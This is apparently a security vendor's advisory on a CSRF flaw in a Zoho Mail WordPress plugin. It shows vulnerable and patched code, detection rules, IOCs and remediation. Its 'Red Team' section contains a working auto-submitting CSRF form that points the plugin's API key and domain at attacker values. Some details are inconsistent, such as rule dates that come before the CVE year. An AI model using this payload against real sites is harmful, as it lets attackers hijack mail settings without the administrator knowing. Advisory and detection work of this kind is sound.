CVE-2026-8174
Executive Summary
CVE-2026-8174 is a Cross-Site Request Forgery (CSRF) vulnerability in the Zoho Mail WordPress plugin, affecting versions prior to 1.6.2. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or disconnecting the mail service, without their consent. The vulnerability is classified as a WordPress ecosystem issue, as it resides within the plugin’s request handling logic. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild. However, given the widespread use of Zoho Mail in enterprise environments, the risk of targeted attacks remains.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk if they have not updated to version 1.6.2. The plugin is not available on NPM, PyPI, Go, or Ruby registries, so supply chain risks are limited to the WordPress ecosystem.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
- Base Score: 5.7 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a malicious link)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (attacker can modify plugin settings)
- Availability Impact: Low (attacker can disrupt mail service)
The threat level is Medium, as exploitation requires user interaction but can lead to unauthorized configuration changes.
Deep Dive & Mechanics
The Zoho Mail WordPress plugin provides integration between WordPress and Zoho Mail services. The CSRF vulnerability exists because the plugin fails to implement proper nonce validation or other anti-CSRF tokens in its administrative actions. An attacker can craft a malicious link or form that, when clicked by an authenticated administrator, triggers a state-changing request (e.g., changing API keys, disconnecting the mail service, or modifying email routing rules).
The attack flow:
- Attacker identifies a target WordPress site with the vulnerable plugin.
- Attacker crafts a malicious HTML page or email containing a CSRF payload (e.g., an image tag or form submission).
- Victim (authenticated admin) visits the malicious page while logged into WordPress.
- The browser automatically sends the forged request to the WordPress admin, executing the attacker’s action.
Since the plugin does not verify the origin of the request, the action is performed with the victim’s privileges.
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.6.2):
// In admin-ajax.php or similar handler
add_action('wp_ajax_zoho_mail_update_settings', 'zoho_mail_update_settings');
function zoho_mail_update_settings() {
// No nonce check
update_option('zoho_mail_api_key', $_POST['api_key']);
update_option('zoho_mail_domain', $_POST['domain']);
echo 'Settings updated.';
wp_die();
}
Patched Code (version 1.6.2):
add_action('wp_ajax_zoho_mail_update_settings', 'zoho_mail_update_settings');
function zoho_mail_update_settings() {
// Nonce verification added
if (!wp_verify_nonce($_POST['_wpnonce'], 'zoho_mail_settings_nonce')) {
wp_die('CSRF validation failed.');
}
update_option('zoho_mail_api_key', sanitize_text_field($_POST['api_key']));
update_option('zoho_mail_domain', sanitize_text_field($_POST['domain']));
echo 'Settings updated.';
wp_die();
}
The patch introduces wp_verify_nonce() to validate the request origin, preventing CSRF attacks.
Exploitation & Lab Setup
Red Team
Since no public exploit code is available, a custom CSRF payload can be crafted:
<html>
<body>
<form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="zoho_mail_update_settings">
<input type="hidden" name="api_key" value="attacker_controlled_key">
<input type="hidden" name="domain" value="attacker.com">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Lab Setup:
- Install WordPress with Zoho Mail plugin version 1.6.1.
- Log in as an administrator.
- Host the CSRF payload on a separate server or use a local HTML file.
- Trick the admin into visiting the malicious page.
- Observe that the plugin settings are changed without the admin’s consent.
Blue Team
Detection Steps:
- Monitor for unexpected changes to Zoho Mail plugin settings via audit logs.
- Check for unusual
admin-ajax.phprequests withaction=zoho_mail_*parameters. - Review HTTP Referer headers for mismatched origins.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" action=zoho_mail_*
| eval referer_domain=lower(replace(referer, "https?://([^/]+).*", "\1"))
| eval host_domain=lower(replace(host, "https?://([^/]+).*", "\1"))
| where referer_domain != host_domain
| table _time, clientip, referer, uri, method
Indicators of Compromise (IOCs)
- Network IOCs:
- Suspicious
POSTrequests to/wp-admin/admin-ajax.phpwithaction=zoho_mail_*parameters. - HTTP requests with missing or invalid
Refererheaders.
- Suspicious
- File IOCs:
- Modified
wp_optionstable entries forzoho_mail_api_keyorzoho_mail_domain.
- Modified
- Behavioral IOCs:
- Unexpected changes to Zoho Mail integration settings.
- Unauthorized email forwarding rules.
Detection Engineering
YARA Rule
rule CVE_2026_8174_CSRF_ZohoMail {
meta:
description = "Detects vulnerable Zoho Mail plugin files with missing nonce checks"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-8174"
strings:
$func = "zoho_mail_update_settings" nocase
$nonce = "wp_verify_nonce" nocase
condition:
$func and not $nonce
}
Sigma Rule
title: CVE-2026-8174 - Zoho Mail Plugin CSRF Activity
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects potential CSRF exploitation attempts against Zoho Mail WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=zoho_mail_'
condition: selection
falsepositives:
- Legitimate admin actions
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-8174 - Zoho Mail Plugin CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=zoho_mail_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade the Zoho Mail WordPress plugin to version 1.6.2 or later.
- Workaround: If immediate upgrade is not possible, disable the plugin temporarily.
- Long-term: Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwith missing or invalid nonces. - Monitoring: Enable audit logging for WordPress admin actions and review logs for suspicious changes.
- User Training: Educate administrators about phishing attacks that may exploit CSRF vulnerabilities.
Valters IT
Securing Digital Ecosystems